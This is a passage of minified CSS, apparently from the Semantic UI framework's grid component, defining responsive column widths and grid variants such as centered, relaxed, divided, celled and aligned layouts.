.row+.ui.divider{-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;margin:1rem 1rem}.ui.grid .column+.ui.vertical.divider{height:calc(50% - 1rem)}.ui.grid>.column:last-child>.horizontal.segment,.ui.grid>.row>.column:last-child>.horizontal.segment{box-shadow:none}@media only screen and (max-width:767px){.ui.page.grid{width:auto;padding-left:0;padding-right:0;margin-left:0;margin-right:0}}@media only screen and (min-width:768px) and (max-width:991px){.ui.page.grid{width:auto;margin-left:0;margin-right:0;padding-left:2em;padding-right:2em}}@media only screen and (min-width:992px) and (max-width:1199px){.ui.page.grid{width:auto;margin-left:0;margin-right:0;padding-left:3%;padding-right:3%}}@media only screen and (min-width:1200px) and (max-width:1919px){.ui.page.grid{width:auto;margin-left:0;margin-right:0;padding-left:15%;padding-right:15%}}@media only screen and (min-width:1920px){.ui.page.grid{width:auto;margin-left:0;margin-right:0;padding-left:23%;padding-right:23%}}.ui.grid>.column:only-child,.ui.grid>.row>.column:only-child{width:100%}.ui[class*="one column"].grid>.column:not(.row),.ui[class*="one column"].grid>.row>.column{width:100%}.ui[class*="two column"].grid>.column:not(.row),.ui[class*="two column"].grid>.row>.column{width:50%}.ui[class*="three column"].grid>.column:not(.row),.ui[class*="three column"].grid>.row>.column{width:33.33333333%}.ui[class*="four column"].grid>.column:not(.row),.ui[class*="four column"].grid>.row>.column{width:25%}.ui[class*="five column"].grid>.column:not(.row),.ui[class*="five column"].grid>.row>.column{width:20%}.ui[class*="six column"].grid>.column:not(.row),.ui[class*="six column"].grid>.row>.column{width:16.66666667%}.ui[class*="seven column"].grid>.column:not(.row),.ui[class*="seven column"].grid>.row>.column{width:14.28571429%}.ui[class*="eight column"].grid>.column:not(.row),.ui[class*="eight column"].grid>.row>.column{width:12.5%}.ui[class*="nine column"].grid>.column:not(.row),.ui[class*="nine column"].grid>.row>.column{width:11.11111111%}.ui[class*="ten column"].grid>.column:not(.row),.ui[class*="ten column"].grid>.row>.column{width:10%}.ui[class*="eleven column"].grid>.column:not(.row),.ui[class*="eleven column"].grid>.row>.column{width:9.09090909%}.ui[class*="twelve column"].grid>.column:not(.row),.ui[class*="twelve column"].grid>.row>.column{width:8.33333333%}.ui[class*="thirteen column"].grid>.column:not(.row),.ui[class*="thirteen column"].grid>.row>.column{width:7.69230769%}.ui[class*="fourteen column"].grid>.column:not(.row),.ui[class*="fourteen column"].grid>.row>.column{width:7.14285714%}.ui[class*="fifteen column"].grid>.column:not(.row),.ui[class*="fifteen column"].grid>.row>.column{width:6.66666667%}.ui[class*="sixteen column"].grid>.column:not(.row),.ui[class*="sixteen column"].grid>.row>.column{width:6.25%}.ui.grid>[class*="one column"].row>.column{width:100%!important}.ui.grid>[class*="two column"].row>.column{width:50%!important}.ui.grid>[class*="three column"].row>.column{width:33.33333333%!important}.ui.grid>[class*="four column"].row>.column{width:25%!important}.ui.grid>[class*="five column"].row>.column{width:20%!important}.ui.grid>[class*="six column"].row>.column{width:16.66666667%!important}.ui.grid>[class*="seven column"].row>.column{width:14.28571429%!important}.ui.grid>[class*="eight column"].row>.column{width:12.5%!important}.ui.grid>[class*="nine column"].row>.column{width:11.11111111%!important}.ui.grid>[class*="ten column"].row>.column{width:10%!important}.ui.grid>[class*="eleven column"].row>.column{width:9.09090909%!important}.ui.grid>[class*="twelve column"].row>.column{width:8.33333333%!important}.ui.grid>[class*="thirteen column"].row>.column{width:7.69230769%!important}.ui.grid>[class*="fourteen column"].row>.column{width:7.14285714%!important}.ui.grid>[class*="fifteen column"].row>.column{width:6.66666667%!important}.ui.grid>[class*="sixteen column"].row>.column{width:6.25%!important}.ui.celled.page.grid{box-shadow:none}.ui.column.grid>[class*="one wide"].column,.ui.grid>.column.row>[class*="one wide"].column,.ui.grid>.row>[class*="one wide"].column,.ui.grid>[class*="one wide"].column{width:6.25%!important}.ui.column.grid>[class*="two wide"].column,.ui.grid>.column.row>[class*="two wide"].column,.ui.grid>.row>[class*="two wide"].column,.ui.grid>[class*="two wide"].column{width:12.5%!important}.ui.column.grid>[class*="three wide"].column,.ui.grid>.column.row>[class*="three wide"].column,.ui.grid>.row>[class*="three wide"].column,.ui.grid>[class*="three wide"].column{width:18.75%!important}.ui.column.grid>[class*="four wide"].column,.ui.grid>.column.row>[class*="four wide"].column,.ui.grid>.row>[class*="four wide"].column,.ui.grid>[class*="four wide"].column{width:25%!important}.ui.column.grid>[class*="five wide"].column,.ui.grid>.column.row>[class*="five wide"].column,.ui.grid>.row>[class*="five wide"].column,.ui.grid>[class*="five wide"].column{width:31.25%!important}.ui.column.grid>[class*="six wide"].column,.ui.grid>.column.row>[class*="six wide"].column,.ui.grid>.row>[class*="six wide"].column,.ui.grid>[class*="six wide"].column{width:37.5%!important}.ui.column.grid>[class*="seven wide"].column,.ui.grid>.column.row>[class*="seven wide"].column,.ui.grid>.row>[class*="seven wide"].column,.ui.grid>[class*="seven wide"].column{width:43.75%!important}.ui.column.grid>[class*="eight wide"].column,.ui.grid>.column.row>[class*="eight wide"].column,.ui.grid>.row>[class*="eight wide"].column,.ui.grid>[class*="eight wide"].column{width:50%!important}.ui.column.grid>[class*="nine wide"].column,.ui.grid>.column.row>[class*="nine wide"].column,.ui.grid>.row>[class*="nine wide"].column,.ui.grid>[class*="nine wide"].column{width:56.25%!important}.ui.column.grid>[class*="ten wide"].column,.ui.grid>.column.row>[class*="ten wide"].column,.ui.grid>.row>[class*="ten wide"].column,.ui.grid>[class*="ten wide"].column{width:62.5%!important}.ui.column.grid>[class*="eleven wide"].column,.ui.grid>.column.row>[class*="eleven wide"].column,.ui.grid>.row>[class*="eleven wide"].column,.ui.grid>[class*="eleven wide"].column{width:68.75%!important}.ui.column.grid>[class*="twelve wide"].column,.ui.grid>.column.row>[class*="twelve wide"].column,.ui.grid>.row>[class*="twelve wide"].column,.ui.grid>[class*="twelve wide"].column{width:75%!important}.ui.column.grid>[class*="thirteen wide"].column,.ui.grid>.column.row>[class*="thirteen wide"].column,.ui.grid>.row>[class*="thirteen wide"].column,.ui.grid>[class*="thirteen wide"].column{width:81.25%!important}.ui.column.grid>[class*="fourteen wide"].column,.ui.grid>.column.row>[class*="fourteen wide"].column,.ui.grid>.row>[class*="fourteen wide"].column,.ui.grid>[class*="fourteen wide"].column{width:87.5%!important}.ui.column.grid>[class*="fifteen wide"].column,.ui.grid>.column.row>[class*="fifteen wide"].column,.ui.grid>.row>[class*="fifteen wide"].column,.ui.grid>[class*="fifteen wide"].column{width:93.75%!important}.ui.column.grid>[class*="sixteen wide"].column,.ui.grid>.column.row>[class*="sixteen wide"].column,.ui.grid>.row>[class*="sixteen wide"].column,.ui.grid>[class*="sixteen wide"].column{width:100%!important}@media only screen and (min-width:320px) and (max-width:767px){.ui.column.grid>[class*="one wide mobile"].column,.ui.grid>.column.row>[class*="one wide mobile"].column,.ui.grid>.row>[class*="one wide mobile"].column,.ui.grid>[class*="one wide mobile"].column{width:6.25%!important}.ui.column.grid>[class*="two wide mobile"].column,.ui.grid>.column.row>[class*="two wide mobile"].column,.ui.grid>.row>[class*="two wide mobile"].column,.ui.grid>[class*="two wide mobile"].column{width:12.5%!important}.ui.column.grid>[class*="three wide mobile"].column,.ui.grid>.column.row>[class*="three wide mobile"].column,.ui.grid>.row>[class*="three wide mobile"].column,.ui.grid>[class*="three wide mobile"].column{width:18.75%!important}.ui.column.grid>[class*="four wide mobile"].column,.ui.grid>.column.row>[class*="four wide mobile"].column,.ui.grid>.row>[class*="four wide mobile"].column,.ui.grid>[class*="four wide mobile"].column{width:25%!important}.ui.column.grid>[class*="five wide mobile"].column,.ui.grid>.column.row>[class*="five wide mobile"].column,.ui.grid>.row>[class*="five wide mobile"].column,.ui.grid>[class*="five wide mobile"].column{width:31.25%!important}.ui.column.grid>[class*="six wide mobile"].column,.ui.grid>.column.row>[class*="six wide mobile"].column,.ui.grid>.row>[class*="six wide mobile"].column,.ui.grid>[class*="six wide mobile"].column{width:37.5%!important}.ui.column.grid>[class*="seven wide mobile"].column,.ui.grid>.column.row>[class*="seven wide mobile"].column,.ui.grid>.row>[class*="seven wide mobile"].column,.ui.grid>[class*="seven wide mobile"].column{width:43.75%!important}.ui.column.grid>[class*="eight wide mobile"].column,.ui.grid>.column.row>[class*="eight wide mobile"].column,.ui.grid>.row>[class*="eight wide mobile"].column,.ui.grid>[class*="eight wide mobile"].column{width:50%!important}.ui.column.grid>[class*="nine wide mobile"].column,.ui.grid>.column.row>[class*="nine wide mobile"].column,.ui.grid>.row>[class*="nine wide mobile"].column,.ui.grid>[class*="nine wide mobile"].column{width:56.25%!important}.ui.column.grid>[class*="ten wide mobile"].column,.ui.grid>.column.row>[class*="ten wide mobile"].column,.ui.grid>.row>[class*="ten wide mobile"].column,.ui.grid>[class*="ten wide mobile"].column{width:62.5%!important}.ui.column.grid>[class*="eleven wide mobile"].column,.ui.grid>.column.row>[class*="eleven wide mobile"].column,.ui.grid>.row>[class*="eleven wide mobile"].column,.ui.grid>[class*="eleven wide mobile"].column{width:68.75%!important}.ui.column.grid>[class*="twelve wide mobile"].column,.ui.grid>.column.row>[class*="twelve wide mobile"].column,.ui.grid>.row>[class*="twelve wide mobile"].column,.ui.grid>[class*="twelve wide mobile"].column{width:75%!important}.ui.column.grid>[class*="thirteen wide mobile"].column,.ui.grid>.column.row>[class*="thirteen wide mobile"].column,.ui.grid>.row>[class*="thirteen wide mobile"].column,.ui.grid>[class*="thirteen wide mobile"].column{width:81.25%!important}.ui.column.grid>[class*="fourteen wide mobile"].column,.ui.grid>.column.row>[class*="fourteen wide mobile"].column,.ui.grid>.row>[class*="fourteen wide mobile"].column,.ui.grid>[class*="fourteen wide mobile"].column{width:87.5%!important}.ui.column.grid>[class*="fifteen wide mobile"].column,.ui.grid>.column.row>[class*="fifteen wide mobile"].column,.ui.grid>.row>[class*="fifteen wide mobile"].column,.ui.grid>[class*="fifteen wide mobile"].column{width:93.75%!important}.ui.column.grid>[class*="sixteen wide mobile"].column,.ui.grid>.column.row>[class*="sixteen wide mobile"].column,.ui.grid>.row>[class*="sixteen wide mobile"].column,.ui.grid>[class*="sixteen wide mobile"].column{width:100%!important}}@media only screen and (min-width:768px) and (max-width:991px){.ui.column.grid>[class*="one wide tablet"].column,.ui.grid>.column.row>[class*="one wide tablet"].column,.ui.grid>.row>[class*="one wide tablet"].column,.ui.grid>[class*="one wide tablet"].column{width:6.25%!important}.ui.column.grid>[class*="two wide tablet"].column,.ui.grid>.column.row>[class*="two wide tablet"].column,.ui.grid>.row>[class*="two wide tablet"].column,.ui.grid>[class*="two wide tablet"].column{width:12.5%!important}.ui.column.grid>[class*="three wide tablet"].column,.ui.grid>.column.row>[class*="three wide tablet"].column,.ui.grid>.row>[class*="three wide tablet"].column,.ui.grid>[class*="three wide tablet"].column{width:18.75%!important}.ui.column.grid>[class*="four wide tablet"].column,.ui.grid>.column.row>[class*="four wide tablet"].column,.ui.grid>.row>[class*="four wide tablet"].column,.ui.grid>[class*="four wide tablet"].column{width:25%!important}.ui.column.grid>[class*="five wide tablet"].column,.ui.grid>.column.row>[class*="five wide tablet"].column,.ui.grid>.row>[class*="five wide tablet"].column,.ui.grid>[class*="five wide tablet"].column{width:31.25%!important}.ui.column.grid>[class*="six wide tablet"].column,.ui.grid>.column.row>[class*="six wide tablet"].column,.ui.grid>.row>[class*="six wide tablet"].column,.ui.grid>[class*="six wide tablet"].column{width:37.5%!important}.ui.column.grid>[class*="seven wide tablet"].column,.ui.grid>.column.row>[class*="seven wide tablet"].column,.ui.grid>.row>[class*="seven wide tablet"].column,.ui.grid>[class*="seven wide tablet"].column{width:43.75%!important}.ui.column.grid>[class*="eight wide tablet"].column,.ui.grid>.column.row>[class*="eight wide tablet"].column,.ui.grid>.row>[class*="eight wide tablet"].column,.ui.grid>[class*="eight wide tablet"].column{width:50%!important}.ui.column.grid>[class*="nine wide tablet"].column,.ui.grid>.column.row>[class*="nine wide tablet"].column,.ui.grid>.row>[class*="nine wide tablet"].column,.ui.grid>[class*="nine wide tablet"].column{width:56.25%!important}.ui.column.grid>[class*="ten wide tablet"].column,.ui.grid>.column.row>[class*="ten wide tablet"].column,.ui.grid>.row>[class*="ten wide tablet"].column,.ui.grid>[class*="ten wide tablet"].column{width:62.5%!important}.ui.column.grid>[class*="eleven wide tablet"].column,.ui.grid>.column.row>[class*="eleven wide tablet"].column,.ui.grid>.row>[class*="eleven wide tablet"].column,.ui.grid>[class*="eleven wide tablet"].column{width:68.75%!important}.ui.column.grid>[class*="twelve wide tablet"].column,.ui.grid>.column.row>[class*="twelve wide tablet"].column,.ui.grid>.row>[class*="twelve wide tablet"].column,.ui.grid>[class*="twelve wide tablet"].column{width:75%!important}.ui.column.grid>[class*="thirteen wide tablet"].column,.ui.grid>.column.row>[class*="thirteen wide tablet"].column,.ui.grid>.row>[class*="thirteen wide tablet"].column,.ui.grid>[class*="thirteen wide tablet"].column{width:81.25%!important}.ui.column.grid>[class*="fourteen wide tablet"].column,.ui.grid>.column.row>[class*="fourteen wide tablet"].column,.ui.grid>.row>[class*="fourteen wide tablet"].column,.ui.grid>[class*="fourteen wide tablet"].column{width:87.5%!important}.ui.column.grid>[class*="fifteen wide tablet"].column,.ui.grid>.column.row>[class*="fifteen wide tablet"].column,.ui.grid>.row>[class*="fifteen wide tablet"].column,.ui.grid>[class*="fifteen wide tablet"].column{width:93.75%!important}.ui.column.grid>[class*="sixteen wide tablet"].column,.ui.grid>.column.row>[class*="sixteen wide tablet"].column,.ui.grid>.row>[class*="sixteen wide tablet"].column,.ui.grid>[class*="sixteen wide tablet"].column{width:100%!important}}@media only screen and (min-width:992px){.ui.column.grid>[class*="one wide computer"].column,.ui.grid>.column.row>[class*="one wide computer"].column,.ui.grid>.row>[class*="one wide computer"].column,.ui.grid>[class*="one wide computer"].column{width:6.25%!important}.ui.column.grid>[class*="two wide computer"].column,.ui.grid>.column.row>[class*="two wide computer"].column,.ui.grid>.row>[class*="two wide computer"].column,.ui.grid>[class*="two wide computer"].column{width:12.5%!important}.ui.column.grid>[class*="three wide computer"].column,.ui.grid>.column.row>[class*="three wide computer"].column,.ui.grid>.row>[class*="three wide computer"].column,.ui.grid>[class*="three wide computer"].column{width:18.75%!important}.ui.column.grid>[class*="four wide computer"].column,.ui.grid>.column.row>[class*="four wide computer"].column,.ui.grid>.row>[class*="four wide computer"].column,.ui.grid>[class*="four wide computer"].column{width:25%!important}.ui.column.grid>[class*="five wide computer"].column,.ui.grid>.column.row>[class*="five wide computer"].column,.ui.grid>.row>[class*="five wide computer"].column,.ui.grid>[class*="five wide computer"].column{width:31.25%!important}.ui.column.grid>[class*="six wide computer"].column,.ui.grid>.column.row>[class*="six wide computer"].column,.ui.grid>.row>[class*="six wide computer"].column,.ui.grid>[class*="six wide computer"].column{width:37.5%!important}.ui.column.grid>[class*="seven wide computer"].column,.ui.grid>.column.row>[class*="seven wide computer"].column,.ui.grid>.row>[class*="seven wide computer"].column,.ui.grid>[class*="seven wide computer"].column{width:43.75%!important}.ui.column.grid>[class*="eight wide computer"].column,.ui.grid>.column.row>[class*="eight wide computer"].column,.ui.grid>.row>[class*="eight wide computer"].column,.ui.grid>[class*="eight wide computer"].column{width:50%!important}.ui.column.grid>[class*="nine wide computer"].column,.ui.grid>.column.row>[class*="nine wide computer"].column,.ui.grid>.row>[class*="nine wide computer"].column,.ui.grid>[class*="nine wide computer"].column{width:56.25%!important}.ui.column.grid>[class*="ten wide computer"].column,.ui.grid>.column.row>[class*="ten wide computer"].column,.ui.grid>.row>[class*="ten wide computer"].column,.ui.grid>[class*="ten wide computer"].column{width:62.5%!important}.ui.column.grid>[class*="eleven wide computer"].column,.ui.grid>.column.row>[class*="eleven wide computer"].column,.ui.grid>.row>[class*="eleven wide computer"].column,.ui.grid>[class*="eleven wide computer"].column{width:68.75%!important}.ui.column.grid>[class*="twelve wide computer"].column,.ui.grid>.column.row>[class*="twelve wide computer"].column,.ui.grid>.row>[class*="twelve wide computer"].column,.ui.grid>[class*="twelve wide computer"].column{width:75%!important}.ui.column.grid>[class*="thirteen wide computer"].column,.ui.grid>.column.row>[class*="thirteen wide computer"].column,.ui.grid>.row>[class*="thirteen wide computer"].column,.ui.grid>[class*="thirteen wide computer"].column{width:81.25%!important}.ui.column.grid>[class*="fourteen wide computer"].column,.ui.grid>.column.row>[class*="fourteen wide computer"].column,.ui.grid>.row>[class*="fourteen wide computer"].column,.ui.grid>[class*="fourteen wide computer"].column{width:87.5%!important}.ui.column.grid>[class*="fifteen wide computer"].column,.ui.grid>.column.row>[class*="fifteen wide computer"].column,.ui.grid>.row>[class*="fifteen wide computer"].column,.ui.grid>[class*="fifteen wide computer"].column{width:93.75%!important}.ui.column.grid>[class*="sixteen wide computer"].column,.ui.grid>.column.row>[class*="sixteen wide computer"].column,.ui.grid>.row>[class*="sixteen wide computer"].column,.ui.grid>[class*="sixteen wide computer"].column{width:100%!important}}@media only screen and (min-width:1200px) and (max-width:1919px){.ui.column.grid>[class*="one wide large screen"].column,.ui.grid>.column.row>[class*="one wide large screen"].column,.ui.grid>.row>[class*="one wide large screen"].column,.ui.grid>[class*="one wide large screen"].column{width:6.25%!important}.ui.column.grid>[class*="two wide large screen"].column,.ui.grid>.column.row>[class*="two wide large screen"].column,.ui.grid>.row>[class*="two wide large screen"].column,.ui.grid>[class*="two wide large screen"].column{width:12.5%!important}.ui.column.grid>[class*="three wide large screen"].column,.ui.grid>.column.row>[class*="three wide large screen"].column,.ui.grid>.row>[class*="three wide large screen"].column,.ui.grid>[class*="three wide large screen"].column{width:18.75%!important}.ui.column.grid>[class*="four wide large screen"].column,.ui.grid>.column.row>[class*="four wide large screen"].column,.ui.grid>.row>[class*="four wide large screen"].column,.ui.grid>[class*="four wide large screen"].column{width:25%!important}.ui.column.grid>[class*="five wide large screen"].column,.ui.grid>.column.row>[class*="five wide large screen"].column,.ui.grid>.row>[class*="five wide large screen"].column,.ui.grid>[class*="five wide large screen"].column{width:31.25%!important}.ui.column.grid>[class*="six wide large screen"].column,.ui.grid>.column.row>[class*="six wide large screen"].column,.ui.grid>.row>[class*="six wide large screen"].column,.ui.grid>[class*="six wide large screen"].column{width:37.5%!important}.ui.column.grid>[class*="seven wide large screen"].column,.ui.grid>.column.row>[class*="seven wide large screen"].column,.ui.grid>.row>[class*="seven wide large screen"].column,.ui.grid>[class*="seven wide large screen"].column{width:43.75%!important}.ui.column.grid>[class*="eight wide large screen"].column,.ui.grid>.column.row>[class*="eight wide large screen"].column,.ui.grid>.row>[class*="eight wide large screen"].column,.ui.grid>[class*="eight wide large screen"].column{width:50%!important}.ui.column.grid>[class*="nine wide large screen"].column,.ui.grid>.column.row>[class*="nine wide large screen"].column,.ui.grid>.row>[class*="nine wide large screen"].column,.ui.grid>[class*="nine wide large screen"].column{width:56.25%!important}.ui.column.grid>[class*="ten wide large screen"].column,.ui.grid>.column.row>[class*="ten wide large screen"].column,.ui.grid>.row>[class*="ten wide large screen"].column,.ui.grid>[class*="ten wide large screen"].column{width:62.5%!important}.ui.column.grid>[class*="eleven wide large screen"].column,.ui.grid>.column.row>[class*="eleven wide large screen"].column,.ui.grid>.row>[class*="eleven wide large screen"].column,.ui.grid>[class*="eleven wide large screen"].column{width:68.75%!important}.ui.column.grid>[class*="twelve wide large screen"].column,.ui.grid>.column.row>[class*="twelve wide large screen"].column,.ui.grid>.row>[class*="twelve wide large screen"].column,.ui.grid>[class*="twelve wide large screen"].column{width:75%!important}.ui.column.grid>[class*="thirteen wide large screen"].column,.ui.grid>.column.row>[class*="thirteen wide large screen"].column,.ui.grid>.row>[class*="thirteen wide large screen"].column,.ui.grid>[class*="thirteen wide large screen"].column{width:81.25%!important}.ui.column.grid>[class*="fourteen wide large screen"].column,.ui.grid>.column.row>[class*="fourteen wide large screen"].column,.ui.grid>.row>[class*="fourteen wide large screen"].column,.ui.grid>[class*="fourteen wide large screen"].column{width:87.5%!important}.ui.column.grid>[class*="fifteen wide large screen"].column,.ui.grid>.column.row>[class*="fifteen wide large screen"].column,.ui.grid>.row>[class*="fifteen wide large screen"].column,.ui.grid>[class*="fifteen wide large screen"].column{width:93.75%!important}.ui.column.grid>[class*="sixteen wide large screen"].column,.ui.grid>.column.row>[class*="sixteen wide large screen"].column,.ui.grid>.row>[class*="sixteen wide large screen"].column,.ui.grid>[class*="sixteen wide large screen"].column{width:100%!important}}@media only screen and (min-width:1920px){.ui.column.grid>[class*="one wide widescreen"].column,.ui.grid>.column.row>[class*="one wide widescreen"].column,.ui.grid>.row>[class*="one wide widescreen"].column,.ui.grid>[class*="one wide widescreen"].column{width:6.25%!important}.ui.column.grid>[class*="two wide widescreen"].column,.ui.grid>.column.row>[class*="two wide widescreen"].column,.ui.grid>.row>[class*="two wide widescreen"].column,.ui.grid>[class*="two wide widescreen"].column{width:12.5%!important}.ui.column.grid>[class*="three wide widescreen"].column,.ui.grid>.column.row>[class*="three wide widescreen"].column,.ui.grid>.row>[class*="three wide widescreen"].column,.ui.grid>[class*="three wide widescreen"].column{width:18.75%!important}.ui.column.grid>[class*="four wide widescreen"].column,.ui.grid>.column.row>[class*="four wide widescreen"].column,.ui.grid>.row>[class*="four wide widescreen"].column,.ui.grid>[class*="four wide widescreen"].column{width:25%!important}.ui.column.grid>[class*="five wide widescreen"].column,.ui.grid>.column.row>[class*="five wide widescreen"].column,.ui.grid>.row>[class*="five wide widescreen"].column,.ui.grid>[class*="five wide widescreen"].column{width:31.25%!important}.ui.column.grid>[class*="six wide widescreen"].column,.ui.grid>.column.row>[class*="six wide widescreen"].column,.ui.grid>.row>[class*="six wide widescreen"].column,.ui.grid>[class*="six wide widescreen"].column{width:37.5%!important}.ui.column.grid>[class*="seven wide widescreen"].column,.ui.grid>.column.row>[class*="seven wide widescreen"].column,.ui.grid>.row>[class*="seven wide widescreen"].column,.ui.grid>[class*="seven wide widescreen"].column{width:43.75%!important}.ui.column.grid>[class*="eight wide widescreen"].column,.ui.grid>.column.row>[class*="eight wide widescreen"].column,.ui.grid>.row>[class*="eight wide widescreen"].column,.ui.grid>[class*="eight wide widescreen"].column{width:50%!important}.ui.column.grid>[class*="nine wide widescreen"].column,.ui.grid>.column.row>[class*="nine wide widescreen"].column,.ui.grid>.row>[class*="nine wide widescreen"].column,.ui.grid>[class*="nine wide widescreen"].column{width:56.25%!important}.ui.column.grid>[class*="ten wide widescreen"].column,.ui.grid>.column.row>[class*="ten wide widescreen"].column,.ui.grid>.row>[class*="ten wide widescreen"].column,.ui.grid>[class*="ten wide widescreen"].column{width:62.5%!important}.ui.column.grid>[class*="eleven wide widescreen"].column,.ui.grid>.column.row>[class*="eleven wide widescreen"].column,.ui.grid>.row>[class*="eleven wide widescreen"].column,.ui.grid>[class*="eleven wide widescreen"].column{width:68.75%!important}.ui.column.grid>[class*="twelve wide widescreen"].column,.ui.grid>.column.row>[class*="twelve wide widescreen"].column,.ui.grid>.row>[class*="twelve wide widescreen"].column,.ui.grid>[class*="twelve wide widescreen"].column{width:75%!important}.ui.column.grid>[class*="thirteen wide widescreen"].column,.ui.grid>.column.row>[class*="thirteen wide widescreen"].column,.ui.grid>.row>[class*="thirteen wide widescreen"].column,.ui.grid>[class*="thirteen wide widescreen"].column{width:81.25%!important}.ui.column.grid>[class*="fourteen wide widescreen"].column,.ui.grid>.column.row>[class*="fourteen wide widescreen"].column,.ui.grid>.row>[class*="fourteen wide widescreen"].column,.ui.grid>[class*="fourteen wide widescreen"].column{width:87.5%!important}.ui.column.grid>[class*="fifteen wide widescreen"].column,.ui.grid>.column.row>[class*="fifteen wide widescreen"].column,.ui.grid>.row>[class*="fifteen wide widescreen"].column,.ui.grid>[class*="fifteen wide widescreen"].column{width:93.75%!important}.ui.column.grid>[class*="sixteen wide widescreen"].column,.ui.grid>.column.row>[class*="sixteen wide widescreen"].column,.ui.grid>.row>[class*="sixteen wide widescreen"].column,.ui.grid>[class*="sixteen wide widescreen"].column{width:100%!important}}.ui.centered.grid,.ui.centered.grid>.row,.ui.grid>.centered.row{text-align:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.ui.centered.grid>.column:not(.aligned):not(.justified):not(.row),.ui.centered.grid>.row>.column:not(.aligned):not(.justified),.ui.grid .centered.row>.column:not(.aligned):not(.justified){text-align:left}.ui.grid>.centered.column,.ui.grid>.row>.centered.column{display:block;margin-left:auto;margin-right:auto}.ui.grid>.relaxed.row>.column,.ui.relaxed.grid>.column:not(.row),.ui.relaxed.grid>.row>.column{padding-left:1.5rem;padding-right:1.5rem}.ui.grid>[class*="very relaxed"].row>.column,.ui[class*="very relaxed"].grid>.column:not(.row),.ui[class*="very relaxed"].grid>.row>.column{padding-left:2.5rem;padding-right:2.5rem}.ui.grid .relaxed.row+.ui.divider,.ui.relaxed.grid .row+.ui.divider{margin-left:1.5rem;margin-right:1.5rem}.ui.grid [class*="very relaxed"].row+.ui.divider,.ui[class*="very relaxed"].grid .row+.ui.divider{margin-left:2.5rem;margin-right:2.5rem}.ui.padded.grid:not(.vertically):not(.horizontally){margin:0!important}[class*="horizontally padded"].ui.grid{margin-left:0!important;margin-right:0!important}[class*="vertically padded"].ui.grid{margin-top:0!important;margin-bottom:0!important}.ui.grid [class*="left floated"].column{margin-right:auto}.ui.grid [class*="right floated"].column{margin-left:auto}.ui.divided.grid:not([class*="vertically divided"])>.column:not(.row),.ui.divided.grid:not([class*="vertically divided"])>.row>.column{box-shadow:-1px 0 0 0 rgba(34,36,38,.15)}.ui[class*="vertically divided"].grid>.column:not(.row),.ui[class*="vertically divided"].grid>.row>.column{margin-top:1rem;margin-bottom:1rem;padding-top:0;padding-bottom:0}.ui[class*="vertically divided"].grid>.row{margin-top:0;margin-bottom:0}.ui.divided.grid:not([class*="vertically divided"])>.column:first-child,.ui.divided.grid:not([class*="vertically divided"])>.row>.column:first-child{box-shadow:none}.ui[class*="vertically divided"].grid>.row:first-child>.column{margin-top:0}.ui.grid>.divided.row>.column{box-shadow:-1px 0 0 0 rgba(34,36,38,.15)}.ui.grid>.divided.row>.column:first-child{box-shadow:none}.ui[class*="vertically divided"].grid>.row{position:relative}.ui[class*="vertically divided"].grid>.row:before{position:absolute;content:"";top:0;left:0;width:calc(100% - 2rem);height:1px;margin:0 1rem;box-shadow:0 -1px 0 0 rgba(34,36,38,.15)}.ui.padded.divided.grid:not(.vertically):not(.horizontally),[class*="horizontally padded"].ui.divided.grid{width:100%}.ui[class*="vertically divided"].grid>.row:first-child:before{box-shadow:none}.ui.inverted.divided.grid:not([class*="vertically divided"])>.column:not(.row),.ui.inverted.divided.grid:not([class*="vertically divided"])>.row>.column{box-shadow:-1px 0 0 0 rgba(255,255,255,.1)}.ui.inverted.divided.grid:not([class*="vertically divided"])>.column:not(.row):first-child,.ui.inverted.divided.grid:not([class*="vertically divided"])>.row>.column:first-child{box-shadow:none}.ui.inverted[class*="vertically divided"].grid>.row:before{box-shadow:0 -1px 0 0 rgba(255,255,255,.1)}.ui.relaxed[class*="vertically divided"].grid>.row:before{margin-left:1.5rem;margin-right:1.5rem;width:calc(100% - 3rem)}.ui[class*="very relaxed"][class*="vertically divided"].grid>.row:before{margin-left:5rem;margin-right:5rem;width:calc(100% - 5rem)}.ui.celled.grid{width:100%;margin:1em 0;box-shadow:0 0 0 1px #d4d4d5}.ui.celled.grid>.row{width:100%!important;margin:0;padding:0;box-shadow:0 -1px 0 0 #d4d4d5}.ui.celled.grid>.column:not(.row),.ui.celled.grid>.row>.column{box-shadow:-1px 0 0 0 #d4d4d5}.ui.celled.grid>.column:first-child,.ui.celled.grid>.row>.column:first-child{box-shadow:none}.ui.celled.grid>.column:not(.row),.ui.celled.grid>.row>.column{padding:1em}.ui.relaxed.celled.grid>.column:not(.row),.ui.relaxed.celled.grid>.row>.column{padding:1.5em}.ui[class*="very relaxed"].celled.grid>.column:not(.row),.ui[class*="very relaxed"].celled.grid>.row>.column{padding:2em}.ui[class*="internally celled"].grid{box-shadow:none;margin:0}.ui[class*="internally celled"].grid>.row:first-child{box-shadow:none}.ui[class*="internally celled"].grid>.row>.column:first-child{box-shadow:none}.ui.grid>.row>[class*="top aligned"].column,.ui.grid>[class*="top aligned"].column:not(.row),.ui.grid>[class*="top aligned"].row>.column,.ui[class*="top aligned"].grid>.column:not(.row),.ui[class*="top aligned"].grid>.row>.column{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;vertical-align:top;-ms-flex-item-align:start!important;align-self:flex-start!important}.ui.grid>.row>[class*="middle aligned"].column,.ui.grid>[class*="middle aligned"].column:not(.row),.ui.grid>[class*="middle aligned"].row>.column,.ui[class*="middle aligned"].grid>.column:not(.row),.ui[class*="middle aligned"].grid>.row>.column{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;vertical-align:middle;-ms-flex-item-align:center!important;-ms-grid-row-align:center!important;align-self:center!important}.ui.grid>.row>[class*="bottom aligned"].column,.ui.grid>[class*="bottom aligned"].column:not(.row),.ui.grid>[class*="bottom aligned"].row>.column,.ui[class*="bottom aligned"].grid>.column:not(.row),.ui[class*="bottom 